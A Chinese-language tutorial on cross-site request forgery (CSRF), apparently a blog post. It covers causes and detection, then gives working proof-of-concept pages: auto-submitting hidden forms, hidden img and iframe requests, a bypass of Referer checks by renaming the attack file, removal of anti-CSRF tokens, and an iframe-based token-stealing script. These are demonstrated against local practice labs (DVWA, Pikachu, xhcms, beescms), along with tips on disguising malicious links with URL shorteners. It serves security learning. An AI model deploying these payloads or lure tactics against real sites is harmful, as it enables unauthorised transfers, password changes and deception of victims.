什么是CSRF?
csrf中文名称是跨站请求伪造听起来好像和xss(跨站脚本攻击)差不多,但实际上差别很大 csrf是伪造成该网站的信任用户来进行非法访问 而xss是直接通过js代码进行非法输入来获取用户的具体信息比如:cookie
CSRF漏洞成因
主要成因:浏览器cookie不过期,不关闭浏览器或退出登录,都会默认为已登录状态 次要成因:对请求合法性验证不严格
危害:
1、篡改目标网站上的用户数据 2、盗取用户隐私数据 3、作为其他攻击向量的辅助攻击手法 4、 传播CSRF蠕虫(指利用受感染用户的身份和权限来攻击其他用户,从而扩大蠕虫的传播范围)
如何判断一个网站是否存在csrf
1、GET类型的CSRF的检测
如果有token等验证参数,先去掉参数尝试能否正常请求。如果可以,即存在CSRF漏洞。
2、POST类型的CSRF的检测
如果有token等验证参数,先去掉参数尝试能否正常请求。如果可以,再去掉referer参数的内容,如果仍然可以,说明存在CSRF漏洞,可以利用构造外部form表单的形式,实现***。如果直接去掉referer参数请求失败,这种还可以继续验证对referer的判断是否严格,是否可以绕过。
3、特殊情况的POST类型的CSRF检测
如果上述post方式对referer验证的特别严格,有的时候由于程序员对请求类型判断不是很严格,可以导致post请求改写为get请求,从而CSRF。直接以get请求的方式进行访问,如果请求成功,即可以此种方式绕过对referer的检测,从而CSRF。
举例:
比如一个银行转账界面是1.php
<?php
$money = $_POST['money'];
$user = $_POST['user'];
print("向 $user 转账成功,金额为 $money");
当用户完成登录并进行访问此页面后 在未退出登录的状态下又点击一个陌生链接对应hack.php 然后这个链接就会直接访问你刚刚已经登陆好的银行转账页面进行转账操作
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<form action="http://127.0.0.1/test3/1.php" method="POST">
<input type="hidden" name="user" value="hack" />
<input type="hidden" name="money" value="10000" />
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</body>
</html>
以上便是hack.php的后端代码其中
<script> history.pushState('', '', '/'); document.forms[0].submit(); </script>
会使submit提交按钮不显示 当你访问这个链接时它会自动将表单信息提交转账操作会在你点击这个链接后马上完成
以上代码的构造可以依靠burp来完成这样比较快捷
操作:
首先先对转账页面进行post传参(原因可以去看看1.php的代码)然后使用burp进行抓包
如图:
然后传参:
抓包(可以更改数据中的转账的对象和大小)并构造poc(概念验证):
复制其中代码放到hack.php中将这个文件放到一个链接下即可当一个已登录的用户点击这个链接的时候账户中的钱便被转走
两种类型:
对于目标网站信息的传递方式可能存在get和post两种不同的方式
get型:
就以上述的1.php转账页面为例只不过把它改成get传参 这样在进行转账的时候username和money便会存在url中 我们便可以直接向目标发送127.0.0.1/test3/1.php?username=xxx&money=xxx在实战中我们要在伪造一下这个链接来诱导目标用户点击
post型:
这种可以像以上使用burp来构造一个文件放到我们的服务器中当用户访问时通过跳转来实现相对于get型比较麻烦一点
当然如果想的话get型也可以利用标签来构造一个页面例:
超链接标签
<a>标签:<a href="http://xxx.com/?user=xx&money=xx"></a>
img标签
<img>标签: <img src="http://xxx.com/?user=xx&money=xx">
iframe标签
<iframe>标签:<iframe src="http://xxx.com/?user=xx&moeny=xx">
如下
<html>
<body>
<iframe src="http://127.0.0.1:8080/html/877.php?user=hacker&money=1000" style= "display:none";>
</body>
</html>
注意:
使用<img>标签的时候如果不打开这个图片的链接的话可能导致转账操作无法正常完成因此我建议:
<img src="http://xxx.com/?user=xx&money=xx"onmouseover="openLink()">
注意要先声明一下openLink()利用onmouseover事件当受害者的鼠标放到这个图片的上面的时候便会触发操作 如下:
<script>
function openLink() {
window.location.href = "http://xxx.com/?user=xx&money=xx";
}
</script>
<img src="http://xxx.com/?user=xx&money=xx" οnmοuseοver="openLink()">
主要的是openLink()函数操作触发后页面会重定向到指定的url中
还需要注意的一点细节是当我们的鼠标放到超链接的时候在浏览器的右下角会显示出超链接对应的超链接因此我们可以去网上任意找一个短链接生成器短链接在线生成 - reurl
如图:
这样就不会太明显
类型转换
如果服务端是以REQUEST方式来接受参数那么我们可以使用get或post方式来传参**(注意:这里有一个误区 服务器虽然是以REQUEST方式接受参数的但是传参方式要看其对应的html代码form表单中的method属性 当method不存在时 默认使用get传参此时我们构造进行csrf攻击的代码时也可以使用post进行传参或者 money=_REQUEST['money']; 这样 )**
{参数的请求方式由客户端发送请求时所使用的 HTTP 方法来决定
客户端发送请求时使用的 HTTP 方法主要有以下几种:
GET POST PUT......}
Referer检测绕过
以下是一个具有referer检测的简单后端代码:
<?php
if( isset( $_REQUEST[ 'user' ] ) ) {
if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false ) {
$user=$_REQUEST['user'];
}
}
else{
exit("hacker!!!");
}
if( isset( $_REQUEST[ 'money' ] ) ) {
if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false ) {
$money=$_REQUEST['money'];
}
}
else{
exit("hacker!!!");
}
print("向 $user 转账成功,金额为 $money");
?>
想要知道如何绕过前提是要先读懂代码 其中Referer检测主要依赖stripos函数
举个例子:
stripos("http://133.223.464.532/168.134.132.166.php","168.134.132.166")
它的作用是在前面http://133.223.464.532/168.134.132.166.php
这个字符串中寻找168.134.132.166
stripos()
是 PHP 中用于不区分大小写查找字符串首次出现位置的函数
以上便是把文件名改成了服务器的ip这样便可以成功绕过
绕过Token
一个站点使用了CSRF token不代表这个token是有效验证对应请求操作的,可以尝试如下方法绕过CSRF的token保护(因为有的代码因为逻辑的错误 当不发生Token时也可以正常请求数据,应用程序有时会在token存在的时候或者token参数不为空的时候检查token的有效性)
因此我们可以利用这个漏洞可以选择
1.不传Token(删除Token)
2.把Token设置为一个空值
正常的请求
POST /bank.com
POST body:
user=hacker&money=100&token=283caef0757a4ac9841dasb9ccd8b86a
我们可以尝试这样请求
POST /bank.com
POST body:
user=hacker&money=100&token=
或者这样
POST /bank.com
POST body:
user=hacker&money=100
此时就可能成功绕过
实战:
(推荐一个可自行搭建的练习平台xhcms 注意:php版本必须是在5以下 需要自取:
链接: 百度网盘 请输入提取码提取码: 1234 )
xhcms
当我们进入该网站的管理页面发现可以删除文章
注意看url发现这个操作的完成是get传参
然后使用burp抓包并构造payload指定要删除的序号
如图:
然后将代码复制下来放到我们的服务器中当管理员点击这个链接时便会删除我们指定的文章
如下图所示:
beescms
这是另一个网站也可以用来练习csrf
安装包[BEES_V4.0_R_20160525.rar_免费高速下载|百度网盘-分享无限制]
在这个网站上我们发现可以去添加管理员
如图:
然后先把内容填好再抓包瞅瞅
如图:
在进行构造csrf poc之前可以先去瞅瞅有没有token只有cookie 发现这个网站并没有这样就相对更容易了一些
然后操作跟xhcms一模一样
构造好了之后直接打开我们要给别人发的恶意链接
如图:
DVWA
low
在更改密码的时候发现url发生改变 是get传参
如图:
这个链接即可但是一看这个url就能看出来这是改密码的操作很明显所以我们可以去使用链接缩短工具进行处理(实际上就是进行了一个重定向)
如图:
然后发送恶意链接的时候直接使用短网址:[https://my5353.com/Qiigp]
也可以使用burp工具来进行操作 具体操做和上面的一模一样
medium
这关加上了referer头检验
根据我们在上面提到的referer检测绕过可知 主要针对的是stripos函数 可以通过把文件名改成对应网站服务器的ip即可
举例:
假如我们的csrf文件所对应的链接是127.0.0.1/dvwa/csrf.php现在针对这个网站想要绕过referer检测就要把文件csrf.php改成127.0.0.1.php(原理前面说过)因此我们进行攻击的链接就变成了127.0.0.1/dvwa/127.0.0.1.php
其余操作就是使用burp工具抓他更改密码的包
如图:
然后将代码复制下来放到文件127.0.0.1.php中即可
(因为我这两个网站都是本地搭建的所以就不进行演示了)
high
从后端代码中checkToken( $*REQUEST[ 'user_token' ], $*SESSION[ 'session_token' ], 'index.php' );可知这关存在token
当然从抓的包中也能够发现token 如图:
注意:
Anti-CSRF token机制,用户每次访问该页面时,服务器都会返回一个随机的token(generateSessionToken();),向服务器发起请求时,需要提交token参数,而服务器在收到请求时,会优先检查token,只有token正确,才会处理客户端的请求。也就是说我每次进行密码更改的请求时token都会发生改变(可以自己抓包看看就很容易看出来)
这一关我建议去看一下源代码
if ($request_type == "json") {
generateSessionToken();
header ("Content-Type: application/json");
print json_encode (array("Message" =>$return_message));
exit;
} else {
$html .= "<pre>" . $return_message . "</pre>";
}
主要是以上函数会使每次页面在刷新后就会更新token
所以我们在抓包构造csrfpoc后还要再处理一下目的使再对方访问改密码的页面时服务器所给的token和我们通过xss获取的相同这样才能完成修改密码的操作
以下便是经过改之后的csrf文件:
<script>
function attack(){
var token = document.getElementById("get_token").contentWindow.document.getElementsByName('user_token')[0].value
document.getElementsByName('user_token')[0].value=token;
alert(token);
document.getElementById("csrf").submit();
}
</script>
//以上代码是获取在请求时的token再将其放到请求的信息中
<iframe src="http://localhost/dvwa/digininja-DVWA-34a10d4/vulnerabilities/csrf/" id="get_token" style="display:none;">
</iframe>
<body οnlοad="attack()">
<form method="GET" id="csrf" action="http://localhost/dvwa/digininja-DVWA-34a10d4/vulnerabilities/csrf/">
<input type="hidden" name="password_new" value="111">
<input type="hidden" name="password_conf" value="111">
<input type="hidden" name="user_token" value="">
<input type="hidden" name="Change" value="Change">
</form>
</body>
注意:页面源代码中的token和xss爆出来的不一样(原因:页面使用了Anti-CSRF token来防止CSRF攻击,那么token可能会与每次请求相关联,并在每次请求后更新。如果XSS攻击者在某个请求后获取到token,则获取到的token可能已经过时,与当前页面上的token不一致)
所以我选择了去把爆token的script代码和进行网站请求的代码放到了一起 这样才能保证在进行请求时的token正确
如图:
由图可知密码已更改成功
方法二、
可以使用burp中的token实时检测的一个插件CSRF Token Tracker
CSRF Token Tracker 可以自动获取 csrf 的 token,对于一些有 csrf 限制的请求,它可以绕过该限制,如暴力破解具有 csrf token 的登录请求,在渗透测试过程中CSRF Token的自动更新。
具体操作如图:
先去下载插件:
host和name要正确 name是token的名字
然后抓包再重发
如图:
由上图可知已经成功更改了
OVER!
Pikachu靶场
主要使用用户更改密码的权限
get
方式一、
直接抓包发现是get传参然后进行常规操作 使用burp 工具 构造文件
方式二、
我们在文件中建立一个更改密码的标签即可(原理和把含有参数的链接缩短一样)
<a href="http://localhost/pikahcu/pikachu-master/vul/csrf/csrfget/csrf_get.php?sex=静一静&phonenum=全体目光向我看齐&add=我宣布个事&email=你是个纱布&submit=submit">虎哥的东北往事,点击了解</a>
呈现出的页面效果如图:
点击即可完成页面跳转并完成参数的传递这样更改密码操作便完成了
post
因为是post传参所以在这里就需要去构造html表单了;常规操作即可
token
按照DVWA的high的两种方法均可以